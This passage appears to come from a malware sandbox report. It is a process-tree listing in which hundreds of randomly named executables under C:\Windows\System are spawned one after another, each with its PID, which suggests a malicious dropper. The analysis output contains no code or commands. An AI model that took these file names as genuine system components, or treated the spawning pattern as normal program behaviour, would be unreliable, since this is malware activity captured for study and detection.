  PID:4212
- C:\Windows\System\HXxzOwn.exe
  C:\Windows\System\HXxzOwn.exe
  2⤵
  PID:4232
- C:\Windows\System\MNsLygy.exe
  C:\Windows\System\MNsLygy.exe
  2⤵
  PID:4252
- C:\Windows\System\jyyXVQZ.exe
  C:\Windows\System\jyyXVQZ.exe
  2⤵
  PID:4288
- C:\Windows\System\mLHteZG.exe
  C:\Windows\System\mLHteZG.exe
  2⤵
  PID:4316
- C:\Windows\System\aTseYsQ.exe
  C:\Windows\System\aTseYsQ.exe
  2⤵
  PID:4332
- C:\Windows\System\TDCQtLe.exe
  C:\Windows\System\TDCQtLe.exe
  2⤵
  PID:4356
- C:\Windows\System\laCcMDJ.exe
  C:\Windows\System\laCcMDJ.exe
  2⤵
  PID:4372
- C:\Windows\System\NAIbjaO.exe
  C:\Windows\System\NAIbjaO.exe
  2⤵
  PID:4388
- C:\Windows\System\bFFbLIr.exe
  C:\Windows\System\bFFbLIr.exe
  2⤵
  PID:4404
- C:\Windows\System\lJvUTXQ.exe
  C:\Windows\System\lJvUTXQ.exe
  2⤵
  PID:4424
- C:\Windows\System\dCaSUMA.exe
  C:\Windows\System\dCaSUMA.exe
  2⤵
  PID:4440
- C:\Windows\System\RjWehxC.exe
  C:\Windows\System\RjWehxC.exe
  2⤵
  PID:4456
- C:\Windows\System\umaRLup.exe
  C:\Windows\System\umaRLup.exe
  2⤵
  PID:4472
- C:\Windows\System\sMLUUUf.exe
  C:\Windows\System\sMLUUUf.exe
  2⤵
  PID:4488
- C:\Windows\System\WaoZQlC.exe
  C:\Windows\System\WaoZQlC.exe
  2⤵
  PID:4508
- C:\Windows\System\QBWbHGO.exe
  C:\Windows\System\QBWbHGO.exe
  2⤵
  PID:4528
- C:\Windows\System\Dfmctex.exe
  C:\Windows\System\Dfmctex.exe
  2⤵
  PID:4548
- C:\Windows\System\JFKviOT.exe
  C:\Windows\System\JFKviOT.exe
  2⤵
  PID:4568
- C:\Windows\System\VVYYwWo.exe
  C:\Windows\System\VVYYwWo.exe
  2⤵
  PID:4592
- C:\Windows\System\MUjmzMm.exe
  C:\Windows\System\MUjmzMm.exe
  2⤵
  PID:4612
- C:\Windows\System\Lqydmvx.exe
  C:\Windows\System\Lqydmvx.exe
  2⤵
  PID:4632
- C:\Windows\System\dEQQgtw.exe
  C:\Windows\System\dEQQgtw.exe
  2⤵
  PID:4648
- C:\Windows\System\wqbjgzb.exe
  C:\Windows\System\wqbjgzb.exe
  2⤵
  PID:4664
- C:\Windows\System\gBZEAVb.exe
  C:\Windows\System\gBZEAVb.exe
  2⤵
  PID:4692
- C:\Windows\System\ULxcEWw.exe
  C:\Windows\System\ULxcEWw.exe
  2⤵
  PID:4716
- C:\Windows\System\ZylewFB.exe
  C:\Windows\System\ZylewFB.exe
  2⤵
  PID:4732
- C:\Windows\System\xGRqpUW.exe
  C:\Windows\System\xGRqpUW.exe
  2⤵
  PID:4752
- C:\Windows\System\uMBZOdM.exe
  C:\Windows\System\uMBZOdM.exe
  2⤵
  PID:4768
- C:\Windows\System\stDhSjR.exe
  C:\Windows\System\stDhSjR.exe
  2⤵
  PID:4800
- C:\Windows\System\aaTMEfA.exe
  C:\Windows\System\aaTMEfA.exe
  2⤵
  PID:4816
- C:\Windows\System\QqejbIK.exe
  C:\Windows\System\QqejbIK.exe
  2⤵
  PID:4832
- C:\Windows\System\AUkkgvi.exe
  C:\Windows\System\AUkkgvi.exe
  2⤵
  PID:4848
- C:\Windows\System\XpvxbMT.exe
  C:\Windows\System\XpvxbMT.exe
  2⤵
  PID:4872
- C:\Windows\System\xJnwSMm.exe
  C:\Windows\System\xJnwSMm.exe
  2⤵
  PID:4904
- C:\Windows\System\XjYoTEx.exe
  C:\Windows\System\XjYoTEx.exe
  2⤵
  PID:4924
- C:\Windows\System\ojmqJEe.exe
  C:\Windows\System\ojmqJEe.exe
  2⤵
  PID:4940
- C:\Windows\System\OuRbDYl.exe
  C:\Windows\System\OuRbDYl.exe
  2⤵
  PID:4960
- C:\Windows\System\cwDHYnv.exe
  C:\Windows\System\cwDHYnv.exe
  2⤵
  PID:4980
- C:\Windows\System\rnUNDsY.exe
  C:\Windows\System\rnUNDsY.exe
  2⤵
  PID:4996
- C:\Windows\System\xuDulhH.exe
  C:\Windows\System\xuDulhH.exe
  2⤵
  PID:5020
- C:\Windows\System\mvQZUFl.exe
  C:\Windows\System\mvQZUFl.exe
  2⤵
  PID:5036
- C:\Windows\System\cAtsSvV.exe
  C:\Windows\System\cAtsSvV.exe
  2⤵
  PID:5068
- C:\Windows\System\RtgLpQJ.exe
  C:\Windows\System\RtgLpQJ.exe
  2⤵
  PID:5084
- C:\Windows\System\qOUQfjW.exe
  C:\Windows\System\qOUQfjW.exe
  2⤵
  PID:5100
- C:\Windows\System\WIUUpPL.exe
  C:\Windows\System\WIUUpPL.exe
  2⤵
  PID:3784
- C:\Windows\System\fuolwfB.exe
  C:\Windows\System\fuolwfB.exe
  2⤵
  PID:4168
- C:\Windows\System\CMJmtbq.exe
  C:\Windows\System\CMJmtbq.exe
  2⤵
  PID:4244
- C:\Windows\System\miaWHDl.exe
  C:\Windows\System\miaWHDl.exe
  2⤵
  PID:4312
- C:\Windows\System\DKRJAZR.exe
  C:\Windows\System\DKRJAZR.exe
  2⤵
  PID:608
- C:\Windows\System\BndwAmD.exe
  C:\Windows\System\BndwAmD.exe
  2⤵
  PID:3124
- C:\Windows\System\AyflPmm.exe
  C:\Windows\System\AyflPmm.exe
  2⤵
  PID:3312
- C:\Windows\System\wqBXSaE.exe
  C:\Windows\System\wqBXSaE.exe
  2⤵
  PID:4352
- C:\Windows\System\otDRvfO.exe
  C:\Windows\System\otDRvfO.exe
  2⤵
  PID:4420
- C:\Windows\System\okdonBh.exe
  C:\Windows\System\okdonBh.exe
  2⤵
  PID:3432
- C:\Windows\System\auZckcm.exe
  C:\Windows\System\auZckcm.exe
  2⤵
  PID:3412
- C:\Windows\System\GuxWvwe.exe
  C:\Windows\System\GuxWvwe.exe
  2⤵
  PID:3800
- C:\Windows\System\dnyGFmd.exe
  C:\Windows\System\dnyGFmd.exe
  2⤵
  PID:3960
- C:\Windows\System\EHYaSEI.exe
  C:\Windows\System\EHYaSEI.exe
  2⤵
  PID:4040
- C:\Windows\System\NUKDhkp.exe
  C:\Windows\System\NUKDhkp.exe
  2⤵
  PID:2952
- C:\Windows\System\OTuNiMc.exe
  C:\Windows\System\OTuNiMc.exe
  2⤵
  PID:3224
- C:\Windows\System\OBJKHWv.exe
  C:\Windows\System\OBJKHWv.exe
  2⤵
  PID:2456
- C:\Windows\System\GegzDNe.exe
  C:\Windows\System\GegzDNe.exe
  2⤵
  PID:4148
- C:\Windows\System\eMyCBcx.exe
  C:\Windows\System\eMyCBcx.exe
  2⤵
  PID:4228
- C:\Windows\System\LlLrDsA.exe
  C:\Windows\System\LlLrDsA.exe
  2⤵
  PID:4272
- C:\Windows\System\IeHPVqJ.exe
  C:\Windows\System\IeHPVqJ.exe
  2⤵
  PID:4324
- C:\Windows\System\cKptkzm.exe
  C:\Windows\System\cKptkzm.exe
  2⤵
  PID:4396
- C:\Windows\System\YXEgKIQ.exe
  C:\Windows\System\YXEgKIQ.exe
  2⤵
  PID:4464
- C:\Windows\System\fRgNhmU.exe
  C:\Windows\System\fRgNhmU.exe
  2⤵
  PID:4500
- C:\Windows\System\vdVkvtO.exe
  C:\Windows\System\vdVkvtO.exe
  2⤵
  PID:4580
- C:\Windows\System\nEOGucY.exe
  C:\Windows\System\nEOGucY.exe
  2⤵
  PID:4656
- C:\Windows\System\fphWccG.exe
  C:\Windows\System\fphWccG.exe
  2⤵
  PID:4480
- C:\Windows\System\SeALBQb.exe
  C:\Windows\System\SeALBQb.exe
  2⤵
  PID:4560
- C:\Windows\System\WZNnDhq.exe
  C:\Windows\System\WZNnDhq.exe
  2⤵
  PID:4640
- C:\Windows\System\XaJjyMJ.exe
  C:\Windows\System\XaJjyMJ.exe
  2⤵
  PID:4792
- C:\Windows\System\wRzetHW.exe
  C:\Windows\System\wRzetHW.exe
  2⤵
  PID:4828
- C:\Windows\System\GtablBq.exe
  C:\Windows\System\GtablBq.exe
  2⤵
  PID:4912
- C:\Windows\System\NOjTimW.exe
  C:\Windows\System\NOjTimW.exe
  2⤵
  PID:4956
- C:\Windows\System\rmsNOLO.exe
  C:\Windows\System\rmsNOLO.exe
  2⤵
  PID:5032
- C:\Windows\System\CxTPHYI.exe
  C:\Windows\System\CxTPHYI.exe
  2⤵
  PID:5116
- C:\Windows\System\rvOpKlH.exe
  C:\Windows\System\rvOpKlH.exe
  2⤵
  PID:2928
- C:\Windows\System\RHPACXO.exe
  C:\Windows\System\RHPACXO.exe
  2⤵
  PID:4516
- C:\Windows\System\hBtYtvQ.exe
  C:\Windows\System\hBtYtvQ.exe
  2⤵
  PID:3324
- C:\Windows\System\JDziedJ.exe
  C:\Windows\System\JDziedJ.exe
  2⤵
  PID:4644
- C:\Windows\System\LzbfMBE.exe
  C:\Windows\System\LzbfMBE.exe
  2⤵
  PID:5056
- C:\Windows\System\wMQbtvU.exe
  C:\Windows\System\wMQbtvU.exe
  2⤵
  PID:5092
- C:\Windows\System\eyfxehs.exe
  C:\Windows\System\eyfxehs.exe
  2⤵
  PID:3476
- C:\Windows\System\jtclIfu.exe
  C:\Windows\System\jtclIfu.exe
  2⤵
  PID:4764
- C:\Windows\System\HiAwsRs.exe
  C:\Windows\System\HiAwsRs.exe
  2⤵
  PID:4304
- C:\Windows\System\OJUjSPr.exe
  C:\Windows\System\OJUjSPr.exe
  2⤵
  PID:4892
- C:\Windows\System\KWvYKLT.exe
  C:\Windows\System\KWvYKLT.exe
  2⤵
  PID:2956
- C:\Windows\System\zdWOqxo.exe
  C:\Windows\System\zdWOqxo.exe
  2⤵
  PID:4976
- C:\Windows\System\uRBtqdx.exe
  C:\Windows\System\uRBtqdx.exe
  2⤵
  PID:4348
- C:\Windows\System\oboIiSg.exe
  C:\Windows\System\oboIiSg.exe
  2⤵
  PID:2300
- C:\Windows\System\xFJrWRh.exe
  C:\Windows\System\xFJrWRh.exe
  2⤵
  PID:1584
- C:\Windows\System\XcRkCXM.exe
  C:\Windows\System\XcRkCXM.exe
  2⤵
  PID:3204
- C:\Windows\System\KfXvKYL.exe
  C:\Windows\System\KfXvKYL.exe
  2⤵
  PID:1524
- C:\Windows\System\pbVsnCt.exe
  C:\Windows\System\pbVsnCt.exe
  2⤵
  PID:2116
- C:\Windows\System\PHhHPAs.exe
  C:\Windows\System\PHhHPAs.exe
  2⤵
  PID:4936
- C:\Windows\System\iwLlWUp.exe
  C:\Windows\System\iwLlWUp.exe
  2⤵
  PID:4088
- C:\Windows\System\nOpEqgp.exe
  C:\Windows\System\nOpEqgp.exe
  2⤵
  PID:4364
- C:\Windows\System\fPhMqwb.exe
  C:\Windows\System\fPhMqwb.exe
  2⤵
  PID:4620
- C:\Windows\System\rzRAZew.exe
  C:\Windows\System\rzRAZew.exe
  2⤵
  PID:4584
- C:\Windows\System\cIkoCfP.exe
  C:\Windows\System\cIkoCfP.exe
  2⤵
  PID:4556
- C:\Windows\System\MIjCeIx.exe
  C:\Windows\System\MIjCeIx.exe
  2⤵
  PID:4740
- C:\Windows\System\UkATzsG.exe
  C:\Windows\System\UkATzsG.exe
  2⤵
  PID:4992
- C:\Windows\System\GAuWizm.exe
  C:\Windows\System\GAuWizm.exe
  2⤵
  PID:3976
- C:\Windows\System\PWXSfZi.exe
  C:\Windows\System\PWXSfZi.exe
  2⤵
  PID:3716
- C:\Windows\System\vzjclaO.exe
  C:\Windows\System\vzjclaO.exe
  2⤵
  PID:4540
- C:\Windows\System\bwFanIe.exe
  C:\Windows\System\bwFanIe.exe
  2⤵
  PID:4708
- C:\Windows\System\cYZLhTF.exe
  C:\Windows\System\cYZLhTF.exe
  2⤵
  PID:4608
- C:\Windows\System\CqKQOqf.exe
  C:\Windows\System\CqKQOqf.exe
  2⤵
  PID:4744
- C:\Windows\System\RjkjPBt.exe
  C:\Windows\System\RjkjPBt.exe
  2⤵
  PID:4220
- C:\Windows\System\iyZpSKq.exe
  C:\Windows\System\iyZpSKq.exe
  2⤵
  PID:4680
- C:\Windows\System\bpxHqJa.exe
  C:\Windows\System\bpxHqJa.exe
  2⤵
  PID:4952
- C:\Windows\System\pUbXTmg.exe
  C:\Windows\System\pUbXTmg.exe
  2⤵
  PID:4240
- C:\Windows\System\lGzWGao.exe
  C:\Windows\System\lGzWGao.exe
  2⤵
  PID:4688
- C:\Windows\System\HByeuOY.exe
  C:\Windows\System\HByeuOY.exe
  2⤵
  PID:4164
- C:\Windows\System\UVaXNFZ.exe
  C:\Windows\System\UVaXNFZ.exe
  2⤵
  PID:4888
- C:\Windows\System\nqzszqT.exe
  C:\Windows\System\nqzszqT.exe
  2⤵
  PID:2016
- C:\Windows\System\qbASxEv.exe
  C:\Windows\System\qbASxEv.exe
  2⤵
  PID:3704
- C:\Windows\System\FyOmGhO.exe
  C:\Windows\System\FyOmGhO.exe
  2⤵
  PID:4496
- C:\Windows\System\CCFzBqt.exe
  C:\Windows\System\CCFzBqt.exe
  2⤵
  PID:4860
- C:\Windows\System\qBBZSEL.exe
  C:\Windows\System\qBBZSEL.exe
  2⤵
  PID:1640
- C:\Windows\System\eTuQLFl.exe
  C:\Windows\System\eTuQLFl.exe
  2⤵
  PID:628
- C:\Windows\System\TSWFdvj.exe
  C:\Windows\System\TSWFdvj.exe
  2⤵
  PID:4896
- C:\Windows\System\WdaSUgD.exe
  C:\Windows\System\WdaSUgD.exe
  2⤵
  PID:5008
- C:\Windows\System\CBQTlzn.exe
  C:\Windows\System\CBQTlzn.exe
  2⤵
  PID:4600
- C:\Windows\System\lWgABFE.exe
  C:\Windows\System\lWgABFE.exe
  2⤵
  PID:2156
- C:\Windows\System\ucgxGZa.exe
  C:\Windows\System\ucgxGZa.exe
  2⤵
  PID:4280
- C:\Windows\System\kIjtghp.exe
  C:\Windows\System\kIjtghp.exe
  2⤵
  PID:3576
- C:\Windows\System\AgvdshB.exe
  C:\Windows\System\AgvdshB.exe
  2⤵
  PID:5012
- C:\Windows\System\IUfYJYl.exe
  C:\Windows\System\IUfYJYl.exe
  2⤵
  PID:4520
- C:\Windows\System\oQrnnsu.exe
  C:\Windows\System\oQrnnsu.exe
  2⤵
  PID:1056
- C:\Windows\System\hdfRCGM.exe
  C:\Windows\System\hdfRCGM.exe
  2⤵
  PID:808
- C:\Windows\System\znWTeSP.exe
  C:\Windows\System\znWTeSP.exe
  2⤵
  PID:4132
- C:\Windows\System\mkXIAwa.exe
  C:\Windows\System\mkXIAwa.exe
  2⤵
  PID:1076
- C:\Windows\System\akmXhyx.exe
  C:\Windows\System\akmXhyx.exe
  2⤵
  PID:4468
- C:\Windows\System\aShJDdZ.exe
  C:\Windows\System\aShJDdZ.exe
  2⤵
  PID:4812
- C:\Windows\System\ekcPcva.exe
  C:\Windows\System\ekcPcva.exe
  2⤵
  PID:5080
- C:\Windows\System\XWEjwgW.exe
  C:\Windows\System\XWEjwgW.exe
  2⤵
  PID:4760
- C:\Windows\System\EanWjcN.exe
  C:\Windows\System\EanWjcN.exe
  2⤵
  PID:4700
- C:\Windows\System\NIZAoMm.exe
  C:\Windows\System\NIZAoMm.exe
  2⤵
  PID:5004
- C:\Windows\System\TngAxLo.exe
  C:\Windows\System\TngAxLo.exe
  2⤵
  PID:2692
- C:\Windows\System\RipxiKi.exe
  C:\Windows\System\RipxiKi.exe
  2⤵
  PID:4808
- C:\Windows\System\JZGUFhG.exe
  C:\Windows\System\JZGUFhG.exe
  2⤵
  PID:4780
- C:\Windows\System\ZbJUuvl.exe
  C:\Windows\System\ZbJUuvl.exe
  2⤵
  PID:5152
- C:\Windows\System\chGkEmn.exe
  C:\Windows\System\chGkEmn.exe
  2⤵
  PID:5168
- C:\Windows\System\zwuILrN.exe
  C:\Windows\System\zwuILrN.exe
  2⤵
  PID:5184
- C:\Windows\System\vjhaIUx.exe
  C:\Windows\System\vjhaIUx.exe
  2⤵
  PID:5200
- C:\Windows\System\hBZqYEj.exe
  C:\Windows\System\hBZqYEj.exe
  2⤵
  PID:5224
- C:\Windows\System\WeuGGmU.exe
  C:\Windows\System\WeuGGmU.exe
  2⤵
  PID:5240
- C:\Windows\System\sfnUFGD.exe
  C:\Windows\System\sfnUFGD.exe
  2⤵
  PID:5260
- C:\Windows\System\ANpITES.exe
  C:\Windows\System\ANpITES.exe
  2⤵
  PID:5280
- C:\Windows\System\cwPUDNA.exe
  C:\Windows\System\cwPUDNA.exe
  2⤵
  PID:5296
- C:\Windows\System\zwLYUAY.exe
  C:\Windows\System\zwLYUAY.exe
  2⤵
  PID:5316
- C:\Windows\System\KkbTNCy.exe
  C:\Windows\System\KkbTNCy.exe
  2⤵
  PID:5336
- C:\Windows\System\achJOIg.exe
  C:\Windows\System\achJOIg.exe
  2⤵
  PID:5356
- C:\Windows\System\vsfXNpS.exe
  C:\Windows\System\vsfXNpS.exe
  2⤵
  PID:5372
- C:\Windows\System\bcWIbLy.exe
  C:\Windows\System\bcWIbLy.exe
  2⤵
  PID:5392
- C:\Windows\System\ThmXxYy.exe
  C:\Windows\System\ThmXxYy.exe
  2⤵
  PID:5408
- C:\Windows\System\TUQuiNC.exe
  C:\Windows\System\TUQuiNC.exe
  2⤵
  PID:5428
- C:\Windows\System\GCYFTVU.exe
  C:\Windows\System\GCYFTVU.exe
  2⤵
  PID:5452
- C:\Windows\System\OSgLrTP.exe
  C:\Windows\System\OSgLrTP.exe
  2⤵
  PID:5480
- C:\Windows\System\XfxBCYY.exe
  C:\Windows\System\XfxBCYY.exe
  2⤵
  PID:5496
- C:\Windows\System\KMItDKJ.exe
  C:\Windows\System\KMItDKJ.exe
  2⤵
  PID:5560
- C:\Windows\System\dJTiefT.exe
  C:\Windows\System\dJTiefT.exe
  2⤵
  PID:5576
- C:\Windows\System\mGmPTjt.exe
  C:\Windows\System\mGmPTjt.exe
  2⤵
  PID:5596
- C:\Windows\System\sSaIvdd.exe
  C:\Windows\System\sSaIvdd.exe
  2⤵
  PID:5612
- C:\Windows\System\mwGcxTr.exe
  C:\Windows\System\mwGcxTr.exe
  2⤵
  PID:5636
- C:\Windows\System\uXUbBQe.exe
  C:\Windows\System\uXUbBQe.exe
  2⤵
  PID:5652
- C:\Windows\System\sjylZZU.exe
  C:\Windows\System\sjylZZU.exe
  2⤵
  PID:5672
- C:\Windows\System\ZKbHtCO.exe
  C:\Windows\System\ZKbHtCO.exe
  2⤵
  PID:5688
- C:\Windows\System\PxRCKfZ.exe
  C:\Windows\System\PxRCKfZ.exe
  2⤵
  PID:5708
- C:\Windows\System\wKGGVJO.exe
  C:\Windows\System\wKGGVJO.exe
  2⤵
  PID:5728
- C:\Windows\System\LHalZRU.exe
  C:\Windows\System\LHalZRU.exe
  2⤵
  PID:5748
- C:\Windows\System\ufIZfFi.exe
  C:\Windows\System\ufIZfFi.exe
  2⤵
  PID:5764
- C:\Windows\System\RziguAG.exe
  C:\Windows\System\RziguAG.exe
  2⤵
  PID:5800
- C:\Windows\System\jgahfzB.exe
  C:\Windows\System\jgahfzB.exe
  2⤵
  PID:5820
- C:\Windows\System\uWlKYoH.exe
  C:\Windows\System\uWlKYoH.exe
  2⤵
  PID:5840
- C:\Windows\System\vFGdRqL.exe
  C:\Windows\System\vFGdRqL.exe
  2⤵
  PID:5860
- C:\Windows\System\VOZMqKz.exe
  C:\Windows\System\VOZMqKz.exe
  2⤵
  PID:5876
- C:\Windows\System\iiOXTHS.exe
  C:\Windows\System\iiOXTHS.exe
  2⤵
  PID:5892
- C:\Windows\System\QkiWJQr.exe
  C:\Windows\System\QkiWJQr.exe
  2⤵
  PID:5920
- C:\Windows\System\csmndOv.exe
  C:\Windows\System\csmndOv.exe
  2⤵
  PID:5936
- C:\Windows\System\CXUxfof.exe
  C:\Windows\System\CXUxfof.exe
  2⤵
  PID:5952
- C:\Windows\System\FrYHDMq.exe
  C:\Windows\System\FrYHDMq.exe
  2⤵
  PID:5968
- C:\Windows\System\pyAtcOy.exe
  C:\Windows\System\pyAtcOy.exe
  2⤵
  PID:5984
- C:\Windows\System\vFSCDpF.exe
  C:\Windows\System\vFSCDpF.exe
  2⤵
  PID:6000
- C:\Windows\System\moLSoqc.exe
  C:\Windows\System\moLSoqc.exe
  2⤵
  PID:6016
- C:\Windows\System\KMHLpVq.exe
  C:\Windows\System\KMHLpVq.exe
  2⤵
  PID:6032
- C:\Windows\System\iEcXTjY.exe
  C:\Windows\System\iEcXTjY.exe
  2⤵
  PID:6048
- C:\Windows\System\hSlbwEm.exe
  C:\Windows\System\hSlbwEm.exe
  2⤵
  PID:6064
- C:\Windows\System\UQiLnvA.exe
  C:\Windows\System\UQiLnvA.exe
  2⤵
  PID:6080
- C:\Windows\System\mlAZoYn.exe
  C:\Windows\System\mlAZoYn.exe
  2⤵
  PID:6096
- C:\Windows\System\OpobXlT.exe
  C:\Windows\System\OpobXlT.exe
  2⤵
  PID:6112
- C:\Windows\System\iuAilae.exe
  C:\Windows\System\iuAilae.exe
  2⤵
  PID:6128
- C:\Windows\System\DnYHAiY.exe
  C:\Windows\System\DnYHAiY.exe
  2⤵
  PID:4776
- C:\Windows\System\bZrqkGx.exe
  C:\Windows\System\bZrqkGx.exe
  2⤵
  PID:4880
- C:\Windows\System\DPAzuXP.exe
  C:\Windows\System\DPAzuXP.exe
  2⤵
  PID:2924
- C:\Windows\System\gjHGnuH.exe
  C:\Windows\System\gjHGnuH.exe
  2⤵
  PID:4948
- C:\Windows\System\XFtCSbT.exe
  C:\Windows\System\XFtCSbT.exe
  2⤵
  PID:1232
- C:\Windows\System\BDOZfCh.exe
  C:\Windows\System\BDOZfCh.exe
  2⤵
  PID:5252
- C:\Windows\System\KbkljyI.exe
  C:\Windows\System\KbkljyI.exe
  2⤵
  PID:5324
- C:\Windows\System\FYLSGwW.exe
  C:\Windows\System\FYLSGwW.exe
  2⤵
  PID:5368
- C:\Windows\System\BfeWcAq.exe
  C:\Windows\System\BfeWcAq.exe
  2⤵
  PID:5440
- C:\Windows\System\iOpfcSs.exe
  C:\Windows\System\iOpfcSs.exe
  2⤵
  PID:5488
- C:\Windows\System\IDSdpKl.exe
  C:\Windows\System\IDSdpKl.exe
  2⤵
  PID:5476
- C:\Windows\System\GAPhmKW.exe
  C:\Windows\System\GAPhmKW.exe
  2⤵
  PID:5416
- C:\Windows\System\UKqaHrv.exe
  C:\Windows\System\UKqaHrv.exe
  2⤵
  PID:5276
- C:\Windows\System\LjPMGoW.exe
  C:\Windows\System\LjPMGoW.exe
  2⤵
  PID:5344
- C:\Windows\System\uHtMzNf.exe
  C:\Windows\System\uHtMzNf.exe
  2⤵
  PID:5384
- C:\Windows\System\vkmsuBO.exe
  C:\Windows\System\vkmsuBO.exe
  2⤵
  PID:5420
- C:\Windows\System\gSOXwAj.exe
  C:\Windows\System\gSOXwAj.exe
  2⤵
  PID:5512
- C:\Windows\System\TUbdWBH.exe
  C:\Windows\System\TUbdWBH.exe
  2⤵
  PID:5532
- C:\Windows\System\qNaGQKu.exe
  C:\Windows\System\qNaGQKu.exe
  2⤵
  PID:5556
- C:\Windows\System\zNVSfpb.exe
  C:\Windows\System\zNVSfpb.exe
  2⤵
  PID:2092
- C:\Windows\System\bsjBelN.exe
  C:\Windows\System\bsjBelN.exe
  2⤵
  PID:5680
- C:\Windows\System\jYlkqfc.exe
  C:\Windows\System\jYlkqfc.exe
  2⤵
  PID:2240
- C:\Windows\System\KLreKiy.exe
  C:\Windows\System\KLreKiy.exe
  2⤵
  PID:5696
- C:\Windows\System\fZzlyTz.exe
  C:\Windows\System\fZzlyTz.exe
  2⤵
  PID:5744
- C:\Windows\System\yaWmzcK.exe
  C:\Windows\System\yaWmzcK.exe
  2⤵
  PID:5628
- C:\Windows\System\XDAcwsa.exe
  C:\Windows\System\XDAcwsa.exe
  2⤵
  PID:5776
- C:\Windows\System\PqZjPbf.exe
  C:\Windows\System\PqZjPbf.exe
  2⤵
  PID:4536
- C:\Windows\System\agIAQCT.exe
  C:\Windows\System\agIAQCT.exe
  2⤵
  PID:5812
- C:\Windows\System\uHpAkkT.exe
  C:\Windows\System\uHpAkkT.exe
  2⤵
  PID:5848
- C:\Windows\System\yYhOCuB.exe
  C:\Windows\System\yYhOCuB.exe
  2⤵
  PID:5872
- C:\Windows\System\mrSGEDa.exe
  C:\Windows\System\mrSGEDa.exe
  2⤵
  PID:5904
- C:\Windows\System\byKslfX.exe
  C:\Windows\System\byKslfX.exe
  2⤵
  PID:5964
- C:\Windows\System\lpLYgXe.exe
  C:\Windows\System\lpLYgXe.exe
  2⤵
  PID:6056
- C:\Windows\System\WwhVcfz.exe
  C:\Windows\System\WwhVcfz.exe
  2⤵
  PID:6124
- C:\Windows\System\oPpBLLP.exe
  C:\Windows\System\oPpBLLP.exe
  2⤵
  PID:4884
- C:\Windows\System\gtFXhkD.exe
  C:\Windows\System\gtFXhkD.exe
  2⤵
  PID:5108
- C:\Windows\System\laeJNqb.exe
  C:\Windows\System\laeJNqb.exe
  2⤵
  PID:5136
- C:\Windows\System\tQMUKpF.exe
  C:\Windows\System\tQMUKpF.exe
  2⤵
  PID:5212
- C:\Windows\System\AIAGIfU.exe
  C:\Windows\System\AIAGIfU.exe
  2⤵
  PID:3440
- C:\Windows\System\kMhywya.exe
  C:\Windows\System\kMhywya.exe
  2⤵
  PID:5332
- C:\Windows\System\FZQXJMP.exe
  C:\Windows\System\FZQXJMP.exe
  2⤵
  PID:5944
- C:\Windows\System\OIKzrdt.exe
  C:\Windows\System\OIKzrdt.exe
  2⤵
  PID:6044
- C:\Windows\System\dybBmQw.exe
  C:\Windows\System\dybBmQw.exe
  2⤵
  PID:5304
- C:\Windows\System\ioFZkUp.exe
  C:\Windows\System\ioFZkUp.exe
  2⤵
  PID:4724
- C:\Windows\System\NCpqiOf.exe
  C:\Windows\System\NCpqiOf.exe
  2⤵
  PID:5292
- C:\Windows\System\OBIuamH.exe
  C:\Windows\System\OBIuamH.exe
  2⤵
  PID:5592
- C:\Windows\System\JJICthE.exe
  C:\Windows\System\JJICthE.exe
  2⤵
  PID:1804
- C:\Windows\System\atrDyyl.exe
  C:\Windows\System\atrDyyl.exe
  2⤵
  PID:5552
- C:\Windows\System\OnMzytA.exe
  C:\Windows\System\OnMzytA.exe
  2⤵
  PID:5888
- C:\Windows\System\IbCIyPx.exe
  C:\Windows\System\IbCIyPx.exe
  2⤵
  PID:5932
- C:\Windows\System\HNWQyWL.exe
  C:\Windows\System\HNWQyWL.exe
  2⤵
  PID:6092
- C:\Windows\System\NiERhLL.exe
  C:\Windows\System\NiERhLL.exe
  2⤵
  PID:5468
- C:\Windows\System\jfvjFrz.exe
  C:\Windows\System\jfvjFrz.exe
  2⤵
  PID:5792
- C:\Windows\System\kPNeAOb.exe
  C:\Windows\System\kPNeAOb.exe
  2⤵
  PID:5836
- C:\Windows\System\UTWGeOu.exe
  C:\Windows\System\UTWGeOu.exe
  2⤵
  PID:5980
- C:\Windows\System\EtNkWGO.exe
  C:\Windows\System\EtNkWGO.exe
  2⤵
  PID:5380
- C:\Windows\System\IyPsEGy.exe
  C:\Windows\System\IyPsEGy.exe
  2⤵
  PID:5664
- C:\Windows\System\fTQNOde.exe
  C:\Windows\System\fTQNOde.exe
  2⤵
  PID:5508
- C:\Windows\System\GVCdpnC.exe
  C:\Windows\System\GVCdpnC.exe
  2⤵
  PID:5548
- C:\Windows\System\nvdeEJF.exe
  C:\Windows\System\nvdeEJF.exe
  2⤵
  PID:5644
- C:\Windows\System\HOVYxyt.exe
  C:\Windows\System\HOVYxyt.exe
  2⤵
  PID:6012
- C:\Windows\System\jUukuzp.exe
  C:\Windows\System\jUukuzp.exe
  2⤵
  PID:5148
- C:\Windows\System\ijuCWPn.exe
  C:\Windows\System\ijuCWPn.exe
  2⤵
  PID:6024
- C:\Windows\System\pKbQnYX.exe
  C:\Windows\System\pKbQnYX.exe
  2⤵
  PID:5756
- C:\Windows\System\QaxhqdL.exe
  C:\Windows\System\QaxhqdL.exe
  2⤵
  PID:5544
- C:\Windows\System\zavfOQh.exe
  C:\Windows\System\zavfOQh.exe
  2⤵
  PID:1796
- C:\Windows\System\DUUzBhb.exe
  C:\Windows\System\DUUzBhb.exe
  2⤵
  PID:5248
- C:\Windows\System\IpyajeN.exe
  C:\Windows\System\IpyajeN.exe
  2⤵
  PID:6136
- C:\Windows\System\lsqEhoq.exe
  C:\Windows\System\lsqEhoq.exe
  2⤵
  PID:5788
- C:\Windows\System\WPdRtHA.exe
  C:\Windows\System\WPdRtHA.exe
  2⤵
  PID:5436
- C:\Windows\System\lKgIGLH.exe
  C:\Windows\System\lKgIGLH.exe
  2⤵
  PID:444
- C:\Windows\System\ANAMesN.exe
  C:\Windows\System\ANAMesN.exe
  2⤵
  PID:5720
- C:\Windows\System\sAyvGrE.exe
  C:\Windows\System\sAyvGrE.exe
  2⤵
  PID:5852
- C:\Windows\System\CABQjTk.exe
  C:\Windows\System\CABQjTk.exe
  2⤵
  PID:6088
- C:\Windows\System\SwSIYRd.exe
  C:\Windows\System\SwSIYRd.exe
  2⤵
  PID:5232
- C:\Windows\System\JPNTnrM.exe
  C:\Windows\System\JPNTnrM.exe
  2⤵
  PID:6108
- C:\Windows\System\NgIcrha.exe
  C:\Windows\System\NgIcrha.exe
  2⤵
  PID:5472
- C:\Windows\System\dOSihhO.exe
  C:\Windows\System\dOSihhO.exe
  2⤵
  PID:2224
- C:\Windows\System\ieLoifJ.exe
  C:\Windows\System\ieLoifJ.exe
  2⤵
  PID:5524
- C:\Windows\System\QFQsPLu.exe
  C:\Windows\System\QFQsPLu.exe
